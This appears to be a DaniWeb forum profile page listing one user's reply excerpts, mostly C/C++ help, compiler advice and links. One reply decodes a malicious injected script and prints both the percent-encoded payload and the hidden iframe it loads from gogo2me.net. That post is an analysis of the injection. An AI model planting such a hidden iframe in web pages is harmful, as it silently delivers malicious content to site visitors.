5,237 Posted Topics
Re: All the same, until you post the code, expect waffle, or nothing. | |
Re: 1. Populating the array in memory is going to be a lot quicker than reading it from a file. File I/O is orders of magnitude slower than memory. 2. If you want the same "random" data each time, then call srand() with a constant, and not the result of time. … | |
Re: Short answer - no. Longer answer - depends on which OS/Compiler you have and what libraries you have installed (or willing to install) | |
Re: > I need program code in C No, that's what you would like, not what you need. What you need is to make an effort to solve your own homework, then ask a specific question when you get stuck. Wanting someone to spoon-feed you an answer while you go off … | |
Re: Also posted here - [url]http://www.daniweb.com/forums/thread99216.html[/url] Try not to cross-post. | |
Re: [code] while ( cin>>option ) { switch ( option ) { } } [/code] | |
Re: [url]http://www.nr2k3tracks.com/[/url] [url]http://www.mudflaps.iinet.net.au/[/url] [url]http://clusty.com/search?query=Nascar+racing+2003&sourceid=Mozilla-search[/url] Refine the search with say "mod" or "SDK" Try and find a forum which specialises in game mods. | |
Re: > I'm currently using the new borland so this is a correct syntax > after all it's working on my computer, You have no idea how much grief you're going to get if you keep up with the "it works on this compiler" approach. If for no other reason, [U]when … | |
Re: > All: $(DRI_SRC) $(DRI_INC) Check the spelling of your dependencies perhaps? | |
Re: Read Me: Starting Python (Multi-page thread 1 2 3 4 5) Read Me: Projects for the Beginner (Multi-page thread 1 2 3 4 5) Read Me: Starting wxPython (GUI code) (Multi-page thread 1 2 3) You mean none of these explained a while loop? Not one code example at all … | |
Re: [url]http://www.dban.org/[/url] This does two things: 1. It removes every last trace of the old installation. 2. It gives the disk a really good work-out. I had the same trouble as you some time back (but with 2K IIRC). Eventually, I figured out that there were a few bad sectors towards … | |
Re: Sure, just fix the spelling [url]http://clusty.com/search?query=intrusion+detection+in+wireless+agent&sourceid=Mozilla-search[/url] | |
Re: True or false - you've typed "perceptron" into a search engine? | |
Re: > am using turbo c 3.00 Why? It's 20+ years out of date, and my guess is you're running XP or something as your main OS. Congratulations, you've turned your Ferrari into a horse and cart. Get code::blocks or visual studio express (details in a search engine near you). Oh, … | |
Re: > but I'll be working with more than just 3 numbers so this method would become very tedious to write up. Think "pack of cards" and "shuffle" The "pack" could be an array of 52, initialised with numbers 1 to 52 The "shuffle" swaps random pairs - the uniqueness of … | |
Re: [url]http://clusty.com/search?query=yellow+light+of+death&sourceid=Mozilla-search[/url] A lot of talk, maybe some answers. Did you think to try this yourself? | |
Re: Ask your "friend" [url]http://www.daniweb.com/forums/thread189664.html[/url] | |
Re: Ask your "friend" [url]http://www.daniweb.com/forums/thread189624.html[/url] | |
Re: > drink her pretty Just how much drink was drunk in that last picture? :twisted: | |
Re: > strcpy(String, "abcdefghijklmnopqrstuvxyz"); > if((StringPtr = new char[26]) == NULL) The alphabet, plus a \0 is 27 chars in total. Both the array and your allocated memory are overstepping their limits. | |
Re: > and with out deleting the file. What's this supposed to mean? Or more to the point, what's a "clean" text file with anything other than zero bytes in it supposed to look like? | |
Re: You mean there is NO information on the web at all? Have all your search engines returned zero results, or just biographies of some Viking? | |
Re: Post-it notes and a whiteboard would be my suggestion. If you're still in the dark as to what the nature of the problem really is, then hacking code is the last thing you should be doing. What you're tying to do is create one of these [url]http://en.wikipedia.org/wiki/Entity-relationship_model[/url] Some of the … | |
Re: [URL="http://clusty.com/search?query=Parity+Check+Matrix&sourceid=Mozilla-search"]Click ME[/URL] I dunno, what were you expecting as a response? | |
Re: Well using [url]http://www.w3schools.com/js/tryit.asp?filename=tryjs_alert[/url] and some deft editing (replace any document.write() with alert() ). The big mass of numbers first expands to this text [code] <script>if(!myia){document.write(unescape( '%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%63%31%30%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%67%6f%67%6f%32%6d%65%2e%6e%65%74%2f%2e%67%6f%2f%63%68%65%63%6b%2e%68%74%6d%6c%27%20%77%69%64%74%68%3d%33%34%39%20%68%65%69%67%68%74%3d%35%35%37%20%73%74%79%6c%65%3d%27%76%69%73%69%62%69%6c%69%74%79%3a%68%69%64%64%65%6e%27%3e%3c%2f%69%66%72%61%6d%65%3e'));}var myia=true;</script> [/code] Which in turn expands to this [code] <iframe name=c10 src='http://gogo2me.net/.go/check.html' width=349 height=557 style='visibility:hidden'></iframe> [/code] Sure ain't a google ad script. Googling gogo2me … | |
Re: [URL="http://www.catb.org/~esr/faqs/smart-questions.html#prune"]Yes![/URL] | |
Re: Please reply as soon as possible... [url]http://www.catb.org/~esr/faqs/smart-questions.html#urgent[/url] You might try this as well [url]http://www.catb.org/~esr/faqs/smart-questions.html#beprecise[/url] rather than just posting "it doesn't work". | |
Re: A couple of links might give food for thought. [url]http://www.osdev.org/[/url] [url]http://www.nondot.org/sabre/os/articles[/url] | |
Re: Well it's where I would start looking, if that's any use to you. | |
Re: Then what? I very much doubt that he'll simply "snap out of it" just because of a failure to connect. What's your plan for phase 2? If he's that deeply addicted to it, you're going to need a counsellor, and probably some other services as well. Research your total solution, … | |
Re: [url]http://c-faq.com/stdio/stdinflush.html[/url] And [url]http://www.manpagez.com/man/3/fflush/[/url] [quote] The function fflush() forces a write of all buffered data for the given [COLOR="Red"][B]output or update stream[/B][/COLOR] via the stream's underlying write function. The open status of the stream is unaffected. [/quote] No mention of input streams here, so trying to flush an input stream is … | |
Re: > then tells the OS to return back to the called procedure. The OS isn't involved in such things. | |
Re: > I just made a script that when i give a password, it destroys the whole site, delete every file. is that enough? This is dangerous! - How would you explain it, if the owner found out about it? Maybe they use some 3rd party to verify quality. - How … | |
Re: Perhaps explore the use of tags which really matter [url]http://www.daniweb.com/forums/announcement118-3.html[/url] | |
Re: Most processors have a 'cmp' instruction to compare things. Look it up in your processor reference manual. | |
Re: > gcc -c dtio.h dtio.c > g++ screen.h screen.cpp dtio.o testMain.cpp -o testM You DON'T compile header files! gcc -c dtio.c g++ -o testM dtio.o screen.cpp testMain.cpp | |
Re: On the plus side, they did manage to use code tags on the first attempt, despite running around screaming "[URL="http://www.catb.org/~esr/faqs/smart-questions.html#urgent"]FIRE FIRE[/URL]" | |
Re: [url]http://www.catb.org/~esr/faqs/smart-questions.html#writewell[/url] Try expressing your thoughts so it can't be sent as an SMS message. | |
Re: > Is MinGW not an advanced compiler? Or is it just because they aren't developping Dev-C++ anymore... 1. separate the compiler from the IDE. You can normally upgrade one without the other. 2. dev-C++ is not being developed; it also has a fair number of bugs [url]http://en.wikipedia.org/wiki/Comparison_of_integrated_development_environments[/url] [url]http://en.wikipedia.org/wiki/List_of_source_code_editors[/url] Choose your … | |
Re: > to be set or always set? Not at all. The compiler just outputs the code such that it's tagged with the right section name. It's the linker and linker configuration script which set the properties of each section of memory. As for checking say that a particular code section … | |
Re: > So will sscanf do this? Because when I try sscanf I get a seg fault. Then you're using it (or something) wrong. You would need to post an example which crashes for us to tell you exactly how it's wrong. Also, if you want proper validation, then you should … | |
| |
Re: > Class A uses class B. (object class) > Class B uses class A. (object class) One of these will have to contain only a POINTER to the other one. [code=c++] class A { B b; }; class B { A a; }; [/code] You just end up with a.b.a.b.a.b.a.b.a.b.a.b.a.b … | |
Re: You're assuming your buffer is \0 terminated, and it isn't. | |
Re: It was in a corridor, and you provided a free rubbish collection service. | |
Re: Code tags [url]http://www.daniweb.com/forums/announcement8-3.html[/url] Rubbish title [url]http://www.catb.org/~esr/faqs/smart-questions.html#bespecific[/url] | |
Re: > dic=new dicv [dicsize]; > for(unsigned long i=0;i<=dicsize;++i) First problem, this runs off the end of the array. Better check your other array subscripts as well. | |
Re: [url]http://msdn.microsoft.com/en-us/library/faz3a37z.aspx[/url] Read this, and find out how to build your program with debug malloc enabled. At the start of main, put a breakpoint on your first call to malloc. It's only necessary because I can't remember the name of something :( When you hit the breakpoint, do step-into malloc, and … | |
Re: > I'm just interested in getting the correct materials really > ...find out exactly what I need to learn so I don't spend a lot of effort and time studying the wrong stuff Why do I get the feeling that you're focussing WAY too much on acquiring the exact minimum … |
The End.